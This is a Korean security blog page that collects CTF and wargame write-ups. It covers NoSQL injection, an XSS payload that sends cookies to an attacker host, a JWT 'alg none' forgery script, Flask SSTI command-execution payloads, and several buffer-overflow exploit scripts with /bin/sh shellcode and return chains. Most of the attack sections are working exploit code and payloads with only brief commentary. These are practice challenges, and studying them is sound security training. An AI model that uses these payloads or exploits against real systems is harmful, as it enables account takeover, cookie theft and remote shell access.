JSONP 원리 및 사용방법

2019. 4. 30. 19:00

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

Control You


소스보기하면 플래그가 있다.



No Sequels


로그인 창 하나가 나오는데 nosql injection이 터진다. 근데 요청 폼을 보면 username=1&password=1 이런식으로 넘어가는데 이걸 json형태로 변경하고 요청 헤더 값에 Content-Type을 application/json로 변경해서 json 요청폼으로 넘겨주면 된다.


payload

{"username":{"$ne":"1"},"password":{"$ne":"1"}}



No Sequels 2


이전 문제랑 같은 Nosql 문젠데 블라인드로 admin password를 뽑아야 된다. 그냥 regex써서 대충 아래같은 형태로 뽑아주면 된다.


payload

{"username":"admin","password":{"$regex":"^c"}}



DOM Validator


XSS 문젠데 특이하게 스크립트가 박히는 페이지에 아래 js코드로 돔 내 요소들에 있는 속성들의 값을 가지고 checksum값을 만든다. 이 값이 3b16c602b53a3e4fc22f0d25cddb0fc4d1478e0233c83172c36d0a6cf46c171ed5811fbffc3cb9c3705b7258179ef11362760d105fb483937607dd46a6abcffc 이 값이랑 같지 않으면 해당 페이지 내 모든 요소들을 제거해버린다.


function checksum (element) {

var string = ''

string += (element.attributes ? element.attributes.length : 0) + '|'

for (var i = 0; i < (element.attributes ? element.attributes.length : 0); i++) {

string += element.attributes[i].name + ':' + element.attributes[i].value + '|'

}

string += (element.childNodes ? element.childNodes.length : 0) + '|'

for (var i = 0; i < (element.childNodes ? element.childNodes.length : 0); i++) {

string += checksum(element.childNodes[i]) + '|'

}

return CryptoJS.SHA512(string).toString(CryptoJS.enc.Hex)

}

var request = new XMLHttpRequest()

request.open('GET', location.href, false)

request.send(null)

if (checksum((new DOMParser()).parseFromString(request.responseText, 'text/html')) !== document.doctype.systemId) {

document.documentElement.remove()

}


일단 저 checksum값이랑 동일한 페이지를 만들어내는건 불가능해보였다. 근데 잘 보면 checksum 코드를 타기전에 이미 내가 삽입한 XSS 코드가 실행이 되는 구조였다. 그래서 뭐지이게하고 로컬에서 테스트해보니 그냥 아무코드나 다 박아도 잘 실행이 됬다. 그래서 원격에다가 넣어보니까 이상하게 img tag만 실행이 됬다. 딱히 CSP나 이런것도 없었는데 뭔가 이상했다.


첨엔 img태그를 제외하고 나머지 <frame>,<script> 등은 위의 checksum 코드보다 html이 해석을 늦게해서 해당 태그들은 실행되기전에 체크섬로직에 걸려서 삭제되고 그래서 실행이 안되나 싶었는데 로컬에서해보니 그런것도 아니었다. 그냥 이것저것 넣다가 먹히는 구문이 있어서 풀긴했는데 왜 이놈만 되는지 잘 모르겠다.


payload

<img src=1 onerror="http://myip/"+document.cookie"/>



Cookie Cutter


해당 대회에서 가장 재밌게 푼 문제다. 문제를 보면 일단 소스를 제공해 준다.


source.js


const cookieParser = require('cookie-parser');

const express = require('express');

const crypto = require('crypto');

const jwt = require('jsonwebtoken');


const flag = "[redacted]";


let secrets = [];


const app = express()

app.use('/style.css', express.static('style.css'));

app.use('/favicon.ico', express.static('favicon.ico'));

app.use('/rick.png', express.static('rick.png'));

app.use(cookieParser())


app.use('/admin',(req, res, next)=>{

res.locals.rolled = true;

next();

})


app.use((req, res, next) => {

let cookie = req.cookies?req.cookies.session:"";

res.locals.flag = false;

try {

let sid = JSON.parse(Buffer.from(cookie.split(".")[1], 'base64').toString()).secretid;

if(sid==undefined||sid>=secrets.length||sid<0){throw "invalid sid"}

let decoded = jwt.verify(cookie, secrets[sid]);

if(decoded.perms=="admin"){

res.locals.flag = true;

}

if(decoded.rolled=="yes"){

res.locals.rolled = true;

}

if(res.locals.rolled) {

req.cookies.session = ""; // generate new cookie

}

} catch (err) {

req.cookies.session = "";

}

if(!req.cookies.session){

let secret = crypto.randomBytes(32)

cookie = jwt.sign({perms:"user",secretid:secrets.length,rolled:res.locals.rolled?"yes":"no"}, secret, {algorithm: "HS256"});

secrets.push(secret);

res.cookie('session',cookie,{maxAge:1000*60*10, httpOnly: true})

req.cookies.session=cookie

res.locals.flag = false;

}

next()

})


app.get('/admin', (req, res) => {

res.send("<!DOCTYPE html><head></head><body><script>setTimeout(function(){location.href='//goo.gl/zPOD'},10)</script></body>");

})


app.get('/', (req, res) => {

res.send("<!DOCTYPE html><head><link href='style.css' rel='stylesheet' type='text/css'></head><body><h1>hello kind user!</h1><p>your flag is <span style='color:red'>"+(res.locals.flag?flag:"error: insufficient permissions! talk to the <a href='/admin'"+(res.locals.rolled?" class='rolled'":"")+">admin</a> if you want access to the flag")+"</span>.</p><footer><small>This site was made extra secure with signed cookies, with a different randomized secret for every cookie!</small></footer></body>")

})


app.listen(3000)


코드를 보면 res.locals.flag 값을 true로 만들어주면 된다. 그럼 이제 이게 어떻게 true가 될 수 있는지 보면 되는데 jwt값의 페이로드 내에 perms 키의 value가 admin이면 된다. 


그럼이제 할거는 간단하다. jwt의 payload부분의 user값을 admin으로 바꿔주면 된다.


근데 잘보면 키 값은 랜덤한 32byte값이라 크랙이 불가능하고, 알고리즘이 HS256이어서 RSA256->HS256 요런 패턴도 해당이 안된다. 그럼 남은게 알고리즘 none으로 해서 bypass하는건데 jwt를 디코딩할 때 키 값을 가져와서 검증하는 구조라 이것도 불가능해 보였다. 

근데 잘 보면 디코딩 시 쓰는 key값을 jwt payload부분의 값을 가지고 리스트에서 가져오기 때문에 내가 컨트롤이 가능하고 이걸로 key값에 null값을 박아넣을 수 있다.

첨엔 그냥 리스트범위를 넘어가는 int형 값을 넣어서 undefined를 리턴시키려고 했는데 if(sid==undefined||sid>=secrets.length||sid<0){throw "invalid sid"} 요런 구문으로 필터를 하고 있었다. 그래서 로컬에다 리스트 만들어놓고 테스트 해보니 list['youngsin'] 이런식으로 index에 문자열을 넣어보니 undefined를 리턴해줬다.


이제 필요한건 다 구했고 아래 코드로 변조한 jwt 값을 구해서 넘겨주면 된다.


payload.py


jwt = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJwZXJtcyI6InVzZXIiLCJzZWNyZXRpZCI6NDgzMywicm9sbGVkIjoieWVzIiwiaWF0IjoxNTU2MTY1NDQ0fQ.48SNu1UAgwyBWAq-TMfeOMebAwYScUUx575JYkXM3Gk"

header, payload, signature  = jwt.split('.')


# Replacing the ALGO and the payload username

header  = header.decode('base64').replace('HS256',"none")

payload = (payload+"==").decode('base64').replace('user','admin').replace('4833','"youngsin"').replace("yes","no")


header  = header.encode('base64').strip().replace("=","")

payload = payload.encode('base64').strip().replace("=","")


# 'The algorithm 'none' is not supported'

print( header+"."+payload+".")


 















'CTF > Writeup' 카테고리의 다른 글

Security Fest 2019 CTF Darkwebmessageboard  (0) 2019.05.24
DEF CON CTF Qualifier 2019 cant_even_unplug_it  (0) 2019.05.13
ASIS CTF 2019 Fort Knox  (0) 2019.04.22
Byte Bandits CTF 2019 Web Writeup  (0) 2019.04.14
Midnight Sun CTF 2019 Quals Rubenscube  (0) 2019.04.08
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

exploit.py

import os

from struct import *


p = lambda x : pack("<L" , x)

shellAddress =  p(0x40015000)


payload = "\x90"*19+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+shellAddress


print payload

(python exploit.py ;cat) | ./xavius

블로그 이미지

JeonYoungSin

메모 기록용 공간

,
exploit.py

import os
from struct import *

p = lambda x : pack("<L" , x)
path = '/home/succubus/nightmare'
strcpyAddress = p(0x8048410)
shellAddress = p(0xbffffa74)
shellCode = shellAddress+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x90"*11
dstAddress = p(0xbffffaa0)
srcAddress = p(0xbffffa70)
payload = shellCode+"A"*4+strcpyAddress+"A"*4+dstAddress+srcAddress

os.execl(path,path,payload)


블로그 이미지

JeonYoungSin

메모 기록용 공간

,

Node.js Unicode Failure

2019. 4. 22. 20:52

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

Flask SSTI인데 필터링이 _ 랑 . 이렇게 두개밖에 없다. 필터가 빡센편이 아니라 아래 페이로드로 우회해서 명령어 실행해주면 된다. 


payload

{{''['\x5f\x5fclass\x5f\x5f']['\x5f\x5fmro\x5f\x5f'][2]['\x5f\x5fsubclasses\x5f\x5f']()[59]['\x5f\x5finit\x5f\x5f']['\x5f\x5fglobals\x5f\x5f']['\x5f\x5fbuiltins\x5f\x5f']['\x5f\x5fimport\x5f\x5f']('os')['popen']('ls')['read']()}}


{{''['\x5f\x5fclass\x5f\x5f']['\x5f\x5fmro\x5f\x5f'][2]['\x5f\x5fsubclasses\x5f\x5f']()[59]['\x5f\x5finit\x5f\x5f']['\x5f\x5fglobals\x5f\x5f']['\x5f\x5fbuiltins\x5f\x5f']['\x5f\x5fimport\x5f\x5f']('os')['popen']('cat fort\x2epy')['read']()}}



'CTF > Writeup' 카테고리의 다른 글

DEF CON CTF Qualifier 2019 cant_even_unplug_it  (0) 2019.05.13
angstrom ctf 2019 Web Write up  (0) 2019.04.25
Byte Bandits CTF 2019 Web Writeup  (0) 2019.04.14
Midnight Sun CTF 2019 Quals Rubenscube  (0) 2019.04.08
CBM CTF 2019 Writeup  (0) 2019.04.08
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

chainning.py


import os

from struct import *


p = lambda x : pack("<L" , x)

path = '/home/zombie_assassin/succubus'

doAddress = p(0x80487ec)

gyeAddress = p(0x80487bc)

gulAddress = p(0x804878c)

yutAddress = p(0x804875c)

moAddress = p(0x8048724)

paramAddress = p(0xbffffa48)

payload = "A"*44+doAddress+gyeAddress+gulAddress+yutAddress+moAddress+"AAAA"+paramAddress+"\x2f\x62\x69\x6e"+"\x2f\x73\x68"

os.execl(path,path,payload)


retSled.py


import os

from struct import *


p = lambda x : pack("<L" , x)

path = '/home/zombie_assassin/succubus'

doAddress = p(0x80487ec)

shellAddress = p(0xbffffa14)

shellCode ="\x90"*20+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"

payload = "A"*44+doAddress+shellAddress+shellCode


os.execl(path,path,payload)


블로그 이미지

JeonYoungSin

메모 기록용 공간

,

exploit.py


import os

from struct import *


p = lambda x : pack("<L" , x)

path = '/home/assassin/zombie_assassin'

leaveRetGaget = p(0x80484df)

shellAddress = p(0xbffffa74)

shellCode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"

fEbpAddress = p(0xbffffa6c)

payload = shellAddress+"\x90"*11+shellCode+fEbpAddress+leaveRetGaget


os.execl(path,path,payload)

블로그 이미지

JeonYoungSin

메모 기록용 공간

,

exploit.py


import os

from struct import *


p = lambda x : pack("<L" , x)

path = '/home/giant/assassin'

retGaget = p(0x804851e)

shellAddress = p(0xbffffbd8)

payload = "A"*44+retGaget+shellAddress


os.execl(path,path,payload)


블로그 이미지

JeonYoungSin

메모 기록용 공간

,

exploit.py


import os

from struct import *


p = lambda x : pack("<L" , x)

path = '/home/bugbear/'+p(0xbffffc79)

systemAddress = p(0x400A9D48)

param1 = p(0xbffffc79)

param2 = p(0xbffffff7)

param3 = p(0xbffffffc)

payload = "A"*44 + systemAddress + "BBBB" + param1 + param2 + param3


os.system("mv /home/bugbear/giant "+p(0xbffffc79))

os.execl(path,path,payload)

블로그 이미지

JeonYoungSin

메모 기록용 공간

,